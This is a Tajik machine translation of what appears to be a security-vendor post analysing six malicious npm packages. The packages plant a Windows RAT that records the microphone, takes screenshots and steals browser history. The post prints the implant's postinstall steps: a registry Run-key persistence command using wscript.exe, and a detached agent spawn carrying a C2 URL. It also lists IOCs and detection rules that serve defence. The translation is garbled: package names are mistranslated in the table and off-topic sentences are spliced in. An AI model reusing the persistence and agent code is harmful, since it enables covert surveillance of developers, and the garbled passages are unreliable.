ХИБ; DR
Аз 1 апрел то 3 майи соли 2026, як ношири ягонаи npm, user0001, бо суроғаи тасдиқнашудаи Gmail ба қайд гирифта шудааст tanvisoul9@gmail.com, оҳиста шаш бастаро бо номҳои қасдан бемаънӣ ва ба инфрасохтор монанд тела дод: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeва node-env-resolve.
Ду версияи охирини node-env-resolve, 1.0.7 ва 1.0.8, аз ҷониби системаи огоҳкунии барвақти зараровар (MEW)-и Xygeni дар 2 май қайд карда шуда, зараровар буданашон 3 май тасдиқ карда шуданд.
Имплантатсия бо он чизе, ки нест, ғайриоддӣ аст: ботҳои Telegram, зангҳои бозгашти OAST вуҷуд надоранд, не нопурра, ва ҳеҷ кӯшише барои гирифтани эътимодномаҳои AWS ҳангоми насб кардан нест. Ба ҷои ин, postinstall.js бо истифода аз калиди HKCU Run, ки оғоз меёбад, вуруди доимии боркунии Windows-ро насб мекунад wscript.exe бар зидди як сабти VBS. Сипас, он як агенти ҷудогонаи Node.js-ро фаъол мекунад, ки модулҳоро барои сабти микрофон, дуздии таърихи браузер, гирифтани скриншотҳо ва симулятсияи муш/клавиатура муттаҳид мекунад.
Мо ин кластерро даъват мекунем DevTap, пас аз маҷмӯа он дар мошини таҳиягар кор карданро тарк мекунад.
Ҳангоми навиштани ин мақола, ҳамаи шаш баста дар npm фаъол буданд. Мо онҳоро ба канали сӯиистифода аз феҳрист пешниҳод кардем. Ҳимоятгарон бояд ҳама гуна насбҳоро аз ношир, ки то нест карданаш интизор аст, бекор кунанд.
Кластер: Шаш баста, як ношир
Ҳисоби ношир user0001 тасдиқ нашудааст. Он ҳеҷ надорад. SCM тасдиқ, бе почтаи электронии марбут ба домен ва бе таърихи қаблӣ. Дастаки Gmail tanvisoul9 дар ягон сабти дигари ношири npm, ки мо ёфта метавонем, пайдо намешавад.
Ҳар шаш баста як нигоҳдорандаро номбар мекунанд, аз як ҳисоб нашр шудаанд ва якхеларо мубодила мекунанд package.json дегхона. Ҳеҷ чиз вуҷуд надорад repository, не homepage, ва не description дарозтар аз як сатр.
Стратегияи номгузорӣ қисми ҷолиб аст. Бар хилофи маъракаи классикии вобастагӣ ё хатои чопӣ, ҳеҷ яке аз ин номҳо ба китобхонаи мушаххаси болооб нигаронида нашудааст. Ба ҷои ин, онҳо барои нопадид шудан ба як чизи воқеӣ калибр карда мешаванд. package.json or npm ls баромади.
| бастаи | Аввалаш чоп шуд | Охирин Version | версияҳои | Нақш дар кластер |
|---|---|---|---|---|
| марказӣ | 2026-04-01 12:46 UTC | 1.0.9 | 5, аз 1.0.5 то 1.0.9 | Муқоваи "утили сабти ном"-и кластер; аввалин нашр |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Муқоваи ёвари умумии DOM |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Оилаи гиреҳҳои гирифташударо мимикӣ мекунад |
| пайвасткунанда-агенти | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Номи умумии "агент" |
| вақти иҷроиши node-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Асбобҳои сохтани модули модариро тақлид мекунанд |
| ҳаллу фасли гиреҳи муҳити атроф | 2026-04-25 05:21 UTC | 1.0.9 | 10, аз 1.0.0 то 1.0.9 | Қатрапочи фаъол; имплантат пурра |
Номҳо ба монанди centralogger, node-fetch-liteва node-gyp-runtime тарҳрезӣ шудаанд, ки ҳангоми баррасии код баҳсбарангез ба назар расанд. Онҳо ба чизҳое монанданд, ки аллакай дар дарахти вобастагии лоиҳа мавҷуданд.
Дар якҷоягӣ бо ношири нав ва тасдиқнашуда ва истинодҳои гумшудаи анбор, онҳо як намунаи шинохташавандаро ташкил медиҳанд: як актёр номҳои камфаъолро ба феҳрист мекорад ва сипас зуд ба номи муҳим такрор мекунад. Дар ин ҳолат, node-env-resolve дар давоми ҳашт рӯз даҳ версияро гирифт.
Чӣ дар қуттии таҳиягари Windows ҷойгир мешавад
Занҷири зараровар фаъол аст node-env-resolve:1.0.8 кӯтоҳ, мустақим ва ғайриоддӣ бой аз хусусиятҳо барои npm RAT аст.
Пас аз насб: Устуворӣ ва агенти ҷудогона
package.json як қалмоқи насбро эълон мекунад:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js се корро бо тартиб анҷом медиҳад.
Аввалан, он директорияи насбро берун аз дарахти npm ҷойгир мекунад. Масир дар вақти иҷро дар скрипт чунин ҳисоб карда мешавад INSTALL_DIRСипас он як системаи дохилиро иҷро мекунад. execSync('npm install --production --silent ...') дар дохили он барои кашидани вобастагиҳои вақти иҷрои имплант. Ин агентро дар диск дар ҷое бо дастур ҷойгир мекунад node_modules аудит пайдо нахоҳад кард.
Дуюм, он як оғозкунандаи VBS-ро менависад ва онро барои истодагарии боркунӣ сабт мекунад:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe аст Windows Script Host, файли дуии имзошудаи Microsoft, ки кор мекунад .vbs файлҳо бе тирезаи консол. Ин пеш азcisчаро он барои сабтҳои autorun бартарӣ дорад.
Инчунин як мувофиқат вуҷуд дорад reg delete роҳ дар дохил src/index.js, нишон медиҳад, ки имплант тавре тарҳрезӣ шудааст, ки бо фармони оператор тоза ҷудо карда шавад.
Сеюм, он раванди ҷудогонаи кӯдакро ба вуҷуд меорад:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Дар ин ҷо ду тафсилот муҳиманд.
SERVER_URL аз муҳит хонда мешавад. Дар натиҷа, нуқтаи ниҳоии C2 барои ҳар як ҷойгиркунӣ танзим карда мешавад ва ба баста ворид карда намешавад. Ин интихоби хурд, вале қасдан аксари тозакуниҳои статикии IOC-ро мағлуб мекунад.
Ҳамчунин, кӯдаки таваллудшуда муҳити пурраи волидайнро мерос мегирад. Аз ин рӯ, ҳар гуна NPM_TOKEN, AWS_*, GITHUB_TOKEN, ё сокети агенти SSH, ки дар қабати таҳиягар ҳангоми насб мавҷуд аст, ба хотираи агенти дарозмуддат интиқол дода мешавад.
Агент бо чӣ интиқол медиҳад
Басташуда src/ дарахт се модулро дар бар мегирад, ки танҳо номҳои онҳо достонро нақл мекунанд: audioCapture.js, browserHistory.jsва systemInfo.js.
Рӯйхати вобастагии вақти иҷро, ки ҳангоми марҳилабандӣ ҳал карда шуд npm install, онҳоро тасдиқ мекунад.
Ин равиш як ҳодисаи бетартибро ба вокуниши назоратшаванда табдил медиҳад.
Ба ҷои вокуниши кӯр-кӯрона, дастаҳо бо он амал мекунанд афзалиятдиҳии равшан ва ислоҳи босуръат.
| вобастагии | Дар ин замина барои чӣ аст |
|---|---|
| скриншоти мизи корӣ | Сабти даврии экран |
| @nut-tree-fork/nut-js | Автоматикунонии муш ва клавиатура / симулятсияи вуруд |
| беҳтар-sqlite3 | Хониши мустақими Chrome, Edge ва Firefox History History пойгоҳҳои додаҳои SQLite |
| adm-zip | Муттаҳид кардани ашёи ҷамъовардашуда пеш аз эксфилтратсия |
| якбора | Тағйир додани андоза/фишурдани скриншотҳо ва артефактҳои тасвирӣ |
| socket.io-муштарӣ | Канали дуҷонибаи C2 доимӣ |
| ID-и мошини гиреҳ | Изи ангушти устувор барои пайгирии қурбонӣ барои ҳар як мизбон |
systemInfo.js зангҳо os.networkInterfaces() барои гирифтани изи ангушти иловагӣ пеш аз маяки аввал.
Чаро сабти аудио сигнали фарқкунанда аст
Аксари RAT-ҳои npm, ки мо дар MEW триггер мекунем, дар дуздии махфии вақти насб қатъ мешаванд. Онҳо мехонанд. ~/.npmrc, хонед ~/.aws/credentials, харошидан process.env, POST-ро ба вебҳук фиристед ва аз он хориҷ шавед. Ин ба модели иқтисодии "шикастан ва забт кардан" мувофиқ аст. Эътимодномаҳо нимҳаёти кӯтоҳ доранд ва ҳамлагар бояд зуд пул кор кунад.
node-env-resolve аз ҷиҳати шакл фарқ мекунад.
Пойдорӣ барои зинда мондан аз нав оғоз кардан танзим карда шудааст. Агент ҷудогона ва дарозмуддат дар зери ... кор мекунад. wscript.exeМаҷмӯае, ки он дорад, барои он ки дар мошини таҳиягар бошед, на барои гирифтан ва тарк кардан аст: сабткунандаи микрофон, драйвери клавиатура/муш, воридкунии пурраи таърихи браузер, сабти экран ва канали интерактивии Socket.IO ба C2 танзимшаванда.
Бахусус, забти микрофон хатест, ки ин маърака аз он мегузарад, ки аксари нармафзори зараровари npm онро намегузаронад.
Истгоҳи кории таҳиягар, торафт бештар, ба як истгоҳи кории таҳиягар табдил меёбад, ки дар он таҳиягарон стенд-апҳо, зангҳои муштариён, муҳокимаҳои тарроҳӣ ва пулҳои зангзаниро анҷом медиҳанд. Импланте, ки микрофонро сабт мекунад, дар асл ба нишони npm-и таҳиягар монанд нест. Он ба он чизе, ки таҳиягар дар назди ноутбук мегӯяд, монанд аст.
Ин маҷмӯи қобилиятҳо, илова бар набудани нофаҳмиҳо ва набудани ягон эксфилтратсияи дурахшон дар вақти насб, ҳамчун мавқеъгирии пешакӣ барои дастрасии мақсаднок хонда мешавад, на ҳамчун дуздии фурсатталабонаи эътимоднома.
Мо танҳо аз ин далел намеорем. Мо профили амалиётиро қайд мекунем.

Каденсияи такрории ҳаштрӯза node-env-resolve тафсилоти аз ҷиҳати амалиётӣ муҳимтарин дар ҷадвали вақт аст.
Ин як drop-и "оташ задан ва фаромӯш кардан" нест. Ношир dropper-ро фаъолона нигоҳ медорад, ки одатан яке аз ду чизро ифода мекунад. Ё онҳо онро пеш аз ҷойгиркунии васеътар мувофиқи муҳитҳои озмоишӣ танзим мекунанд, ё онҳо аллакай телеметрияи насбшударо барқарор кардаанд ва ба он посух медиҳанд.
Панҷ бастаи дигар пас аз нашри аввалияашон амалан ягон тағйиротро мушоҳида накарданд. Ин ба намунаи "як марҳила, тарк кардани ном" барои кластери дастгирӣ мувофиқат мекунад, дар ҳоле ки кӯшишҳои муҳандисӣ ба бастае равона карда мешаванд, ки корро анҷом медиҳад.
Мансубият: Далелҳои хурд, бе ҳукми қатъӣ
умумӣ ОСИНТ сигналҳо тунуканд ва мо онҳоро дароз намекунем. Он чизе ки мушоҳида мешавад:
Дастаки Gmail tanvisoul9 қисман ба номи додашудаи Осиёи Ҷанубӣ, "Tanvi" монанд аст. Ин як сигнали заиф аст. Суроғаҳои Gmail шахсият нестанд ва пасоянда soul9 умумӣ аст. Танҳо аз қисмати маҳаллии почтаи электронӣ хулоса баровардан бехатар нест.
Сабки код беназир аст. Node.js: standard зангҳои китобхона, ба монанди os, child_process, spawnва reg addҲеҷ гуна нофаҳмӣ, гардиши сатр ва мантиқи зидди ислоҳи хато вуҷуд надорад. Муаллиф бо праймитҳои сабти номи Windows ва оркестратсияи ҷудогонаи равандҳои кӯдак роҳат аст, аммо ба назар мерасад, ки ба тиҷорати пинҳонтаре, ки эҳтимолан истифода мебаранд, даст намезанад.
Вобастагиҳо комилан ғайриоддӣ ва хуб маълуманд: screenshot-desktop, nut-js, better-sqlite3ва socket.io-clientҒайр аз китоби дарсӣ, протоколи фармоишӣ, стек аз сифр печонидашудаи C2 ва ҳиллаи нави устуворӣ вуҷуд надорад. Тугмаи иҷрокунии HKCUИн як интегратори босалоҳият аст, на муаллифи абзор.
Мо дар дохили ашёи нашршуда сатрҳои ғайрианглисӣ, шарҳҳои дарунсохт, маълумоти маҳаллӣ ё изи минтақаи вақтии натиҷаи компиляторро пайдо накардем.
Мо мувофиқати кодро бо маъракаҳои қаблие, ки аллакай пайгирӣ мекардем, тафтиш кардем, аз ҷумла Шай Хулуд, Овливьон, Buildkite ва ҳейбайи ахир / claude-code-best Оилаи клонҳои антропикӣ-CLI. Мо ягонтоашро пайдо накардем: на қолибҳои муштараки C2, на тарҳбандии муштараки файлҳо ва на фразеологияҳои муштарак.
Он чизе ки мо намегӯем: ин як субъекти давлатӣ, як гурӯҳи маъруф ё аз ҷиҳати ҷуғрофӣ бо ягон кишвари мушаххас алоқаманд аст.
Профили амалиётӣ бо як гурӯҳи хурд ва миёнатахассус, ки назорати истгоҳи кории таҳиягарро анҷом медиҳад, мувофиқ аст. Эҳтимол дорад, ки он тавассути истифодаи минбаъдаи дастрасӣ аз ҷониби харидори алоҳида ангезаи молиявӣ дошта бошад, аммо эҳтимолан инчунин тавассути ҷустуҷӯ ҳамчун хидмат барои харидори алоҳида.
Ду нуктаи ғайримустақимро дастгирӣ мекунанд, ки инҳоянд: канорагирӣ аз механикаҳои эксфилтратсияи диққатҷалбкунанда, ки кластерро зуд месӯзонанд, ба монанди ботҳои Telegram, oastify.com, ё canarytokens ва номҳои қасдан бемаънии бастаҳо, ки насбҳои ороми дароздумро нисбат ба як авҷи кӯтоҳмуддати ҳаҷми баланд афзалтар медонанд.
Нишондиҳандаҳои созиш ва ошкоркунӣ
| Бастаҳо ва ношир | |
|---|---|
| соҳа | арзиши |
| ношири npm | User0001 |
| Почтаи электронии ношир | tanvisoul9@gmail.com, тасдиқнашуда |
| бастаҳои | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Зараровар тасдиқ шудааст | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Артефактҳои мизбон | |
|---|---|
| Намуди | арзиши |
| Калиди устуворӣ | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Арзиши устуворӣ | Номи тағйирёбанда; маълумоти шакли wscript.exe " \\ .vbs" |
| Қалмоқро насб кунед | postinstall: гиреҳи postinstall.js дар манифести баста |
| Модулҳои имплантатсия | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Феҳристи саҳнасозӣ | Хатогии INSTALL_DIR берун аз node_modules-и лоиҳа ҳал шуд; макон аз ҷониби postinstall.js дар вақти насб муқаррар карда шуд |
| шабакаи | |
|---|---|
| Намуди | арзиши |
| Интиқоли C2 | socket.io-муштарӣ, канали дуҷонибаи доимӣ |
| Нуқтаи ниҳоии C2 | Ба агент тавассути тағйирёбандаи муҳити SERVER_URL пешниҳод шудааст; ба ашёи нашршуда рамзгузорӣ нашудааст |
Эзоҳҳои ошкоркунӣ
Ду қоида ин оиларо бе ниёз ба нуқтаи ниҳоии C2 нигоҳ медоранд.
Аввалан, скриптҳои postinstall-ро, ки кори дохилиро иҷро мекунанд, қайд кунед npm install ба масире берун аз феҳристи худи баста. Ҳар гуна зеркашикунандаи қонунии пешакӣ сохташуда, ба монанди node-gyp зеркашикунандагони дуӣ аз нав месозад ё пешакӣ сохташуда, дар дохили баста ё ба платформа менависад-standard Роҳҳои кэш бо хэшҳои тасдиқшуда. Он ба файли навтаъсис наменависад. INSTALL_DIR дар ҷои дигари диск.
Дуюм, скриптҳои postinstall-ро, ки мушкилот эҷод мекунанд, қайд кунед reg add HKCU\…\Run бо wscript.exe ҳамчун оғозкунанда. Ин амалан ҳеҷ гоҳ аз бастаи npm қонунӣ нест. Онро қайд кунед ва карантин кунед.
Эвристикаи сеюм барои муайян кардани бастаи навбатии бародарӣ пеш аз тасдиқ муфид аст: ношири нави npm бо ... SCM тасдиқ, почтаи электронии Gmail, не repository майдон ва номҳои сершумори кӯтоҳ, умумӣ ва дорои садои инфрасохторӣ, ки дар давоми чанд рӯз фосилаи якдигар нашр мешаванд, худ аз худ барои баррасии дастӣ кофӣ аст.
Ба феҳристи npm гузориш дода шуд. Мо ин паёмро вақте ки ҳисоби ношир нест карда мешавад, навсозӣ хоҳем кард.






